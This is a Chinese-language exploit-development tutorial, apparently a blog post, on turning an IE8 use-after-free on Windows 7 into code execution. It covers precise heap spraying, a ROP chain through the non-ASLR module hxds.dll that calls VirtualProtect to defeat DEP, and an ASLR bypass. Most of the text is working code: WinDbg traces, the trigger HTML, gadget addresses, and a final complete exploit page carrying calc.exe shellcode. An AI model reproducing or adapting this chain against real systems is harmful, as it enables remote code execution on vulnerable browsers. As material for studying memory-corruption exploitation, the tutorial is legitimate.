前面一篇学习了下怎么用ClassName或者title来进行占位,现在学习下如何利用该漏洞
对于UAF漏洞的利用,最简单的就是通过Heap Spary来实现了,国外的大神也提出了一种不用Heap Spary,直接构造一个对象来利用的方法
现在学习一下这两种方法,漏洞利用环境为win7 32位+ie8,我们需要解决的问题有:
1.如果精确进行Heap Spary
2.如何bypass DEP
3.解决ALSR
接下来一个个解决这3个问题:
一、如何精确进行Heap Spary
有关这个问题,泉哥翻译的Exploit编写系列教程有详细的说明,可以参考下。
这里首先说明为什么要进行精确的Heap Spary
由于在xp sp3之后,ie8默认就开启了DEP,这样使得直接进行Heap Spary喷射的内存将不具有可执行的属性,一旦EIP跳到我们喷射的内存上将因为不可执行属性而触发异常:
0:012> g (cbc.258): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=001fbc98 ecx=00000052 edx=00000000 esi=00000000 edi=00201430 eip=90909090 esp=0230d600 ebp=0230d65c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 90909090 ?? ??? 0:005> !address 0c0c0c0c
Failed to map Heaps (error 80004005) Usage: <unclassified> Allocation Base: 0c090000 Base Address: 0c090000 End Address: 0c111000 Region Size: 00081000 Type: 00020000 MEM_PRIVATE State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE
因此我们需要构造一个ROP链来将这块内存赋予可执行的属性后再回到这里的内存执行,那么我们就需要确保我们能够精确的知道我们shellcode的具体位置,因为在构造ROP链时我们需要用
喷射的shellcode来控制ROP链中函数的参数等问题,其实是相当于将分配的堆作为新的栈使用(这里需要通过stackpivot技术实现,即指令xchg,如xchg eax,esp将栈指向eax指向的内存空间)
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0c0c%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } var nops=unescape("%u9090%u9090"); while(nops.length<0x1000) nops+=nops; var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode var shellcode=nops.substring(0,0x800-code.length)+code;//堆内存0x1000字节对齐,由于unescape函数的关系,要分配0x1000字节的堆空间实际需要0x800个%u4141 while(shellcode.length<0x40000) { shellcode+=shellcode; } var block = shellcode.substring(0,0x40000); var heap_chunks = new Array(); for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000); function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
用这段代码完成喷射后的堆空间如下:
0:012> g (948.c08): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=000e7f98 ecx=00000052 edx=00000000 esi=00000000 edi=00106270 eip=90909090 esp=0230cfa8 ebp=0230d004 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 90909090 ?? ??? 0:005> !heap -p -a eax address 0c0c0c0c found in _HEAP @ 60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0c0c0018 10002 0000 [00] 0c0c0020 80010 - (busy VirtualAlloc)
0c0c0c0c所在堆块的UserPtr为0c0c0020:
0:005> dd 0c0c0020 0c0c0020 00080000 90909090 90909090 90909090 0c0c0030 90909090 90909090 90909090 90909090 0c0c0040 90909090 90909090 90909090 90909090 0c0c0050 90909090 90909090 90909090 90909090 0c0c0060 90909090 90909090 90909090 90909090 0c0c0070 90909090 90909090 90909090 90909090 0c0c0080 90909090 90909090 90909090 90909090 0c0c0090 90909090 90909090 90909090 90909090
0:005> dd 0c0c0020+0x1000 0c0c1020 41414141 90909090 90909090 90909090 0c0c1030 90909090 90909090 90909090 90909090 0c0c1040 90909090 90909090 90909090 90909090 0c0c1050 90909090 90909090 90909090 90909090 0c0c1060 90909090 90909090 90909090 90909090 0c0c1070 90909090 90909090 90909090 90909090 0c0c1080 90909090 90909090 90909090 90909090 0c0c1090 90909090 90909090 90909090 90909090
可见我们喷射的数据是从0c0c0020+4的位置开始的,此时的内存布局如下:
观察以下喷射的内存块:
0:005> !heap -flt s 0x80010 _HEAP @ 60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02bd0018 10002 0000 [00] 02bd0020 80010 - (busy VirtualAlloc) 02c60018 10002 0002 [00] 02c60020 80010 - (busy VirtualAlloc) 02ff0018 10002 0002 [00] 02ff0020 80010 - (busy VirtualAlloc) 03280018 10002 0002 [00] 03280020 80010 - (busy VirtualAlloc) 03310018 10002 0002 [00] 03310020 80010 - (busy VirtualAlloc) 03d10018 10002 0002 [00] 03d10020 80010 - (busy VirtualAlloc) 04050018 10002 0002 [00] 04050020 80010 - (busy VirtualAlloc) 043e0018 10002 0002 [00] 043e0020 80010 - (busy VirtualAlloc) 04470018 10002 0002 [00] 04470020 80010 - (busy VirtualAlloc) 04500018 10002 0002 [00] 04500020 80010 - (busy VirtualAlloc)
通过以上数据可以看出每个内存块都以0018结尾,这样我们每次分配的数据相对每个块的UserPtr是固定的,因此我们可以计算出nops与堆块的距离然后构造数据:
offset=(0x0c0c0c0c-0x0c0c0024)=0xBE8/2=0x5F4
除以2还是因为unscape计算的长度实际是分配字节的一半。
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0c0c%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } var nops=unescape("%u9090%u9090"); while(nops.length<0x1000) nops+=nops; var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode var offset=0x5F4; var junk_offset=nops.substring(0,0x5F4); var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length); while(shellcode.length<0x40000) { shellcode+=shellcode; } var block = shellcode.substring(0,0x40000); var heap_chunks = new Array(); for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000); function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
这样的话我们的堆布局如下:
调试如下:
0:012> g (c50.430): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=002c7de8 ecx=00000052 edx=00000000 esi=00000000 edi=002eaa98 eip=90909090 esp=024fd6b0 ebp=024fd70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 90909090 ?? ??? 0:005> dd 0c0c0c0c 0c0c0c0c 41414141 41414141 90909090 90909090 0c0c0c1c 90909090 90909090 90909090 90909090 0c0c0c2c 90909090 90909090 90909090 90909090 0c0c0c3c 90909090 90909090 90909090 90909090 0c0c0c4c 90909090 90909090 90909090 90909090 0c0c0c5c 90909090 90909090 90909090 90909090 0c0c0c6c 90909090 90909090 90909090 90909090 0c0c0c7c 90909090 90909090 90909090 90909090
已经实现了精确控制!
二.如何bypass DEP&ASLR
要绕过DEP需要构造ROP链,而构造ROP链就需要考虑ASLR,这里我们采取的方法是用未开启ASLR的模块来绕过ASLR,该是模块hxds.dll,是office2010的一个组建,通过一条js语句来加载该模块:
location.href = 'ms-help://'
所以我们需要的就是在该模块中构造ROP链并最终调用VirtualProtect。
搜索ROP的过程就不多说了 构造好的ROP链如下:
var stackpivot += "%ub30e%u51c3"; // 0x51c3b30e # RETN [hxds.dll] (align esp) stackpivot += "%u198c%u51be"; // 0x51be198c # POP EBX # RETN [hxds.dll] stackpivot += "%u4a41%u51be"; // 0x51be4a41 # XCHG EAX,ESP # RETN [hxds.dll] var ropchain = "%u34b4%u51bf" + // 0x51bf34b4 # POP ESI # RETN [hxds.dll] "%u10b8%u51bd" + // 0x51bd10b8 # ptr to &VirtualProtect() [IAT hxds.dll] "%u2d97%u51bd" + // 0x51bd2d97 # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] "%ucba0%u51bd" + // 0x51bdcba0 # XCHG EAX,ESI # RETN 00 [hxds.dll] "%u79e2%u51c3" + // 0x51c379e2 # POP EBP # RETN [hxds.dll] "%u9683%u51c5" + // 0x51c59683 # & call esp [hxds.dll] "%u6fbd%u51c5" + // 0x51c56fbd # POP EAX # RETN [hxds.dll] "%ufdfe%ua17f" + // 0xa17ffdfe # put delta into eax (-> put 0x00000201 into ebx) "%u1e01%u51c1" + // 0x51C11E01 # ADD EAX,5E800403 # RETN [hxds.dll] "%u92d8%u51c3" + // 0x51C392D8 # XCHG EAX,EBX # RETN [hxds.dll] "%ue67d%u51bf" + // 0x51BFE67D # XOR EAX,EAX # RETN [hxds.dll] "%u6fbd%u51c5" + // 0x51c56fbd # POP EAX # RETN [hxds.dll] "%ufc3d%ua17f" + // 0xa17ffc3d # put delta into eax (-> put 0x00000040 into edx) "%u1e01%u51c1" + // 0x51C11E01 # ADD EAX,5E800403 # RETN [hxds.dll] "%u592b%u51bf" + // 0x51BF592B # XCHG EAX,EDX # RETN [hxds.dll] "%ucf3e%u51be" + // 0x51becf3e # POP ECX # RETN [hxds.dll] "%ud150%u51c5" + // 0x51c5d150 # &Writable location [hxds.dll] "%uf563%u51be" + // 0x51bef563 # POP EDI # RETN [hxds.dll] "%u7402%u51c0" + // 0x51c07402 # RETN (ROP NOP) [hxds.dll] "%u6fbd%u51c5" + // 0x51c56fbd # POP EAX # RETN [hxds.dll] "%u9090%u9090" + // 0x90909090 # nop "%ua8dc%u51bd"; // 0x51BDA8DC # PUSHAD # POP ECX # RETN [hxds.dll]
最终的Exploit页面代码如下:
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0b30%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } var nops=unescape("%u9090%u9090"); while(nops.length<0x400) nops+=nops; while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3"); nops+=unescape("%u198c%u51be"); var code =unescape( "%u4a41%u51be%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+ "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+ "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+ "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+ "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+ "%u9090%u9090%ua8dc%u51bd"+ //ROP结束 "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + //shellcode calc.exe "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" + "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" + "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" + "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" + "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" + "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" + "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" + "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" + "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" + "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" + "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" + "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" + "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" + "%ua4b3%u7851%u431a%u1bd2%u4162"); var offset=0x5F4; var junk_offset=nops.substring(0,0x5F4); var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length); while(shellcode.length<0x40000) { shellcode+=shellcode; } var block = shellcode.substring(0,0x40000); var heap_chunks = new Array(); for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000); location.href = 'ms-help://'; function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
需要注意的:
第一次控制EIP时的第一条指令是一条StackPivot指令,用来将ESP指向我们可控的内存,此时esp应该是指向0x0c0c0b30,因此这块数据
也需要精确的控制,但这块数据并不是ROP链,因此这里通过填充一系列的RET指令使ESP不断的增加直到到达ROP链的入口0x0c0c0c0c+0x4